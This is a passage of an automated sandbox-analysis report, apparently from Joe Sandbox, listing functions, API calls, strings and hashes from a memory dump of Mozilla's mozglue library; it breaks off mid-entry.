Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Sl
API String ID: 2721933968-705219779
Opcode ID: 19600457df98126964cd4425c4aebd2c8cd00123d1a53d10efdc90c03b1b1c26
Instruction ID: 3438fe525954b5fdfb246e4ff654a67bbbce593680a97ef882640f3b1db584f7
Opcode Fuzzy Hash: 19600457df98126964cd4425c4aebd2c8cd00123d1a53d10efdc90c03b1b1c26
Instruction Fuzzy Hash: 045165B1E002149BDF00DBA5DC84AEFB7B9EF89264F540525E815E7741E730AD44CBA2

Function 6C505E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C505E9D

Part of subcall function 6C515B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5156EE,?,00000001), ref: 6C515B85
Part of subcall function 6C515B50: EnterCriticalSection.KERNEL32(6C57F688,?,?,?,6C5156EE,?,00000001), ref: 6C515B90
Part of subcall function 6C515B50: LeaveCriticalSection.KERNEL32(6C57F688,?,?,?,6C5156EE,?,00000001), ref: 6C515BD8
Part of subcall function 6C515B50: GetTickCount64.KERNEL32 ref: 6C515BE4

GetCurrentThreadId.KERNEL32 ref: 6C505EAB
GetCurrentThreadId.KERNEL32 ref: 6C505EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C505ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C506017

Part of subcall function 6C4F4310: moz_xmalloc.MOZGLUE(00000010,?,6C4F42D2), ref: 6C4F436A
Part of subcall function 6C4F4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4F42D2), ref: 6C4F4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C505F47
GetCurrentProcess.KERNEL32 ref: 6C505F53
GetCurrentThread.KERNEL32 ref: 6C505F5C
GetCurrentProcess.KERNEL32 ref: 6C505F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C505F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C505F27

Part of subcall function 6C50CA10: mozalloc_abort.MOZGLUE(?), ref: 6C50CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5055E1), ref: 6C505E8C

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5055E1), ref: 6C50605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5055E1), ref: 6C5060CC

Strings

GeckoMain, xrefs: 6C505ECE, 6C506015

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 67289535f9dddbacc8e274195e05afd8f41394296c2c626126c7c45e5be18b89
Instruction ID: e4cdd833b99abefe81e446dc665ed32769ac63d4fad50e693c499feb6b97501e
Opcode Fuzzy Hash: 67289535f9dddbacc8e274195e05afd8f41394296c2c626126c7c45e5be18b89
Instruction Fuzzy Hash: FA71A2B0604740DFD711DF24C880A6ABBF0FF96304F54496DE98687B52D771E988CBA6

Function 6C509590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4F3217
Part of subcall function 6C4F31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4F3236
Part of subcall function 6C4F31C0: FreeLibrary.KERNEL32 ref: 6C4F324B
Part of subcall function 6C4F31C0: __Init_thread_footer.LIBCMT ref: 6C4F3260
Part of subcall function 6C4F31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4F327F
Part of subcall function 6C4F31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F328E
Part of subcall function 6C4F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4F32AB
Part of subcall function 6C4F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4F32D1
Part of subcall function 6C4F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4F32E5
Part of subcall function 6C4F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4F32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C509675
__Init_thread_footer.LIBCMT ref: 6C509697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C509707
__Init_thread_footer.LIBCMT ref: 6C50971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C509773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5097B7
FreeLibrary.KERNEL32 ref: 6C5097D0
FreeLibrary.KERNEL32 ref: 6C5097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C509824

Strings

NtMapViewOfSection, xrefs: 6C509701
ntdll.dll, xrefs: 6C5096E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C509670
MapViewOfFileNuma2, xrefs: 6C5097B1

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 154c3a7c26ca856cef77da21e654d1d6643a9e17c7bc20e14e48c551f361d250
Instruction ID: 67ea47e68c6dbd71ecc7d69a09bfbc3a4359c2bf6a21b62aaafaba3801a0cdfc
Opcode Fuzzy Hash: 154c3a7c26ca856cef77da21e654d1d6643a9e17c7bc20e14e48c551f361d250
Instruction Fuzzy Hash: 1761CF71700211DBDF02DF68DC88B9A7BB4FB8A315F124629ED16C7B84D734A884CBA5

Function 6C556660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C57F618), ref: 6C556694
GetThreadId.KERNEL32(?), ref: 6C5566B1
GetCurrentThreadId.KERNEL32 ref: 6C5566B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5566E1
EnterCriticalSection.KERNEL32(6C57F618), ref: 6C556734
GetCurrentProcess.KERNEL32 ref: 6C55673A
LeaveCriticalSection.KERNEL32(6C57F618), ref: 6C55676C
GetCurrentThread.KERNEL32 ref: 6C5567FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C556868
RtlCaptureContext.NTDLL ref: 6C55687F

Strings

WalkStack64, xrefs: 6C556890

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 47ad1cd0a7d0f19a89a6a79fb1a3eeb8eba91124d882dc8c410a2362aafefd3f
Instruction ID: 613ee848d9677d1798a88167312ba3d1c0e4e7cf586588d37c94710c2362188e
Opcode Fuzzy Hash: 47ad1cd0a7d0f19a89a6a79fb1a3eeb8eba91124d882dc8c410a2362aafefd3f
Instruction Fuzzy Hash: A351CC71A09350AFDB12DF24CC44B5ABBF4BF89714F41492EF89887740DB70E8588BA6

Function 6C53DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
Part of subcall function 6C539420: __Init_thread_footer.LIBCMT ref: 6C53949F

GetCurrentThreadId.KERNEL32 ref: 6C53DE73
GetCurrentThreadId.KERNEL32 ref: 6C53DF7D
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53DF8A
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53DFC9
GetCurrentThreadId.KERNEL32 ref: 6C53DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C504A68), ref: 6C53DE7B

Part of subcall function 6C5394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5394EE
Part of subcall function 6C5394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C539508

Part of subcall function 6C52CBE8: GetCurrentProcess.KERNEL32(?,6C4F31A7), ref: 6C52CBF1
Part of subcall function 6C52CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4F31A7), ref: 6C52CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C504A68), ref: 6C53DEB8
free.MOZGLUE(00000000,?,6C504A68), ref: 6C53DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C53DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C53DE83
<none>, xrefs: 6C53DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C53E00E

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 98c7c2e98e49b2de91f030d0afc800b69bfc7c461b144fedeb67626ee09c9345
Instruction ID: b11d935b366c1a4db069b7a7c623eebabdb580d3b2bcda5feb257d26d57d0f36
Opcode Fuzzy Hash: 98c7c2e98e49b2de91f030d0afc800b69bfc7c461b144fedeb67626ee09c9345
Instruction Fuzzy Hash: 03410571B012309BDB119F64CC487AA7776FB81308F550115EA0987B41EB319C95CBF6

Function 6C54D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C54D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C54D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C54D918
GetCurrentThreadId.KERNEL32 ref: 6C54D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C54D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C54D970
GetCurrentThreadId.KERNEL32 ref: 6C54D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C54D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C54D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C54DA2E
GetCurrentThreadId.KERNEL32 ref: 6C54DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C54DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C54DA91

Part of subcall function 6C515C50: GetTickCount64.KERNEL32 ref: 6C515D40
Part of subcall function 6C515C50: EnterCriticalSection.KERNEL32(6C57F688), ref: 6C515D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C54DAB7

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: cc59edb8162858624333521bc35837a4e5761826484082fa1ed9f34496864acf
Instruction ID: 5bb79e43b48cfde4e2c198825689ec6bb7e901b1e4fc24f7e90ee78a535950c7
Opcode Fuzzy Hash: cc59edb8162858624333521bc35837a4e5761826484082fa1ed9f34496864acf
Instruction Fuzzy Hash: 2471BD75600314DFCB01DF29C888B9ABBF5FF89314F15856AEC5A9B301DB30A884CBA5

Function 6C54D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C54D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C54D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C54D52A
GetCurrentThreadId.KERNEL32 ref: 6C54D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C54D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C54D55F
free.MOZGLUE(00000000), ref: 6C54D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C54D5D3
GetCurrentThreadId.KERNEL32 ref: 6C54D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C54D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C54D652
GetCurrentThreadId.KERNEL32 ref: 6C54D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C54D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C54D6A2

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: da0c32d2e0f519a4aad7cfde00e0d1187eb2b38564f4aea0ed7311cbab9e8370
Instruction ID: 50ee21f9e86489c388be663e216b09d20f0009bacef1ce9737c30826d4eedda8
Opcode Fuzzy Hash: da0c32d2e0f519a4aad7cfde00e0d1187eb2b38564f4aea0ed7311cbab9e8370
Instruction Fuzzy Hash: 4D517F71604705DFC705DF34C888A9ABBF4FF89318F118A2EE85A87711DB31A985CB95

Function 6C4F1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C57E784), ref: 6C4F1EC1
LeaveCriticalSection.KERNEL32(6C57E784), ref: 6C4F1EE1
EnterCriticalSection.KERNEL32(6C57E744), ref: 6C4F1F38
LeaveCriticalSection.KERNEL32(6C57E744), ref: 6C4F1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4F1F83
LeaveCriticalSection.KERNEL32(6C57E784), ref: 6C4F1FC0
EnterCriticalSection.KERNEL32(6C57E784), ref: 6C4F1FE2
LeaveCriticalSection.KERNEL32(6C57E784), ref: 6C4F1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F2019

Strings

MOZ_CRASH(), xrefs: 6C4F2000
DWl, xrefs: 6C4F1F56
DWl, xrefs: 6C4F1F32
\Wl, xrefs: 6C4F1F3E

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DWl$DWl$MOZ_CRASH()$\Wl
API String ID: 2055633661-2932965104
Opcode ID: 85b89cf9c3dedc1b0da1bb162ae881a621953f84491b69118088db305704b7d4
Instruction ID: 4a164fc359a0485d627108fddd5e3a7c4141104d036290800139f16210004678
Opcode Fuzzy Hash: 85b89cf9c3dedc1b0da1bb162ae881a621953f84491b69118088db305704b7d4
Instruction Fuzzy Hash: F941F4B1B003658FEF11DF68CC89FAA36B5EB8A308F010125ED1497741DBB4A8458BF9

Function 6C515670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5156D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5156E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5156F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C515744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5157BC
GetTickCount64.KERNEL32 ref: 6C5158CB
EnterCriticalSection.KERNEL32(6C57F688), ref: 6C5158F3
__aulldiv.LIBCMT ref: 6C515945
LeaveCriticalSection.KERNEL32(6C57F688), ref: 6C5159B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C57F638,?,?,?,?), ref: 6C5159E9

Strings

MOZ_APP_RESTART, xrefs: 6C5156CC

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: e8b11ac3f8192fad8659ca3b95d94700e381b66e266aa8b2fa403c4358418e53
Instruction ID: 5f633a6db281ae68f70d817d60230b085467622e61dc6ffe41532b7622cd6d36
Opcode Fuzzy Hash: e8b11ac3f8192fad8659ca3b95d94700e381b66e266aa8b2fa403c4358418e53
Instruction Fuzzy Hash: CFC16A31A0C3509FD706DF28C84466AB7F1BFCA754F568B1DE8C497A60E730A885CB96

Function 6C53EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
Part of subcall function 6C539420: __Init_thread_footer.LIBCMT ref: 6C53949F

GetCurrentThreadId.KERNEL32 ref: 6C53EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53EC8C

Part of subcall function 6C5394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5394EE
Part of subcall function 6C5394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C539508

GetCurrentThreadId.KERNEL32 ref: 6C53ECA1
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C53ECC5
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C53ED19
CloseHandle.KERNEL32(?), ref: 6C53ED28
free.MOZGLUE(00000000), ref: 6C53ED2F
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C53EC94

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 007de0c965fc686873a4a3383b979a859661f3385c2847d3149e296781adedab
Instruction ID: 15ea5ac962dfbd17be871225ff5489c04bf29ef0adb95c3fe35123cf4d26b2e2
Opcode Fuzzy Hash: 007de0c965fc686873a4a3383b979a859661f3385c2847d3149e296781adedab
Instruction Fuzzy Hash: E621F371600138EBDB02AF24DC08A9A37BAFB8626CF114214FD1C97740EB719C958BB5

Function 6C538ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4FEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4FEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C53B392,?,?,00000001), ref: 6C5391F4

Part of subcall function 6C52CBE8: GetCurrentProcess.KERNEL32(?,6C4F31A7), ref: 6C52CBF1
Part of subcall function 6C52CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4F31A7), ref: 6C52CBFA

Strings

name, xrefs: 6C538F16
marker-chart, xrefs: 6C53905E
data, xrefs: 6C5390E8
stack-chart, xrefs: 6C5390B2
timeline-ipc, xrefs: 6C539096
timeline-overview, xrefs: 6C53907A
timeline-fileio, xrefs: 6C5390A4
marker-table, xrefs: 6C53906C
timeline-memory, xrefs: 6C539088

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: b862ab8301192e6f084b874d403ee62f7f8b08a7af4176ea2066eb9250540186
Instruction ID: b55f782dfeca89954df25f8bd0924d106225cdc2e6a9216896932f7a4e011d77
Opcode Fuzzy Hash: b862ab8301192e6f084b874d403ee62f7f8b08a7af4176ea2066eb9250540186
Instruction Fuzzy Hash: FBB1B3B1A012199BDB04CF99CC91BEEBBF6AF84318F204519D405ABF90EB71D945CBE1

Function 6C51C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C51C5A3
WideCharToMultiByte.KERNEL32 ref: 6C51C9EA
